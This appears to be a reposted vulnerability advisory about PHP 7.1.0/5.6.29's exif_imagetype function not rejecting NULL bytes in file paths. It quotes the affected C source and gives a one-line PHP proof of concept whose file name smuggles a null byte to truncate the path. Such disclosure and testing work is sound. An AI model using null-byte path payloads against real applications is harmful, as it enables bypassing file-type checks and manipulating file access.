PHP 7.1.0 / 5.6.29 missing null byte checks for paths in exif_imagetype Vulnerability

Description:
------------
exif_imagetype doesn’t ensure that pathnames lack NULL byte, which might allow attacker to manipulate the file path.

===============================================
Affected code:
PHP_FUNCTION(exif_imagetype)
{
char *imagefile;
size_t imagefile_len;
php_stream * stream;
int itype = 0;

if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &imagefile, &imagefile_len) == FAILURE) { ⇐== THIS LINE
return;
}
===============================================

Test script:
---------------
<?php
var_dump(exif_imagetype("./image.png\x00.gallery.jpg"));
?>

Expected result:
----------------
expected parameter instead of string

Actual result:
--------------
$ php curl.php
int(3)

Credit: Maksymilian

#  0day.today [2018-04-11]  #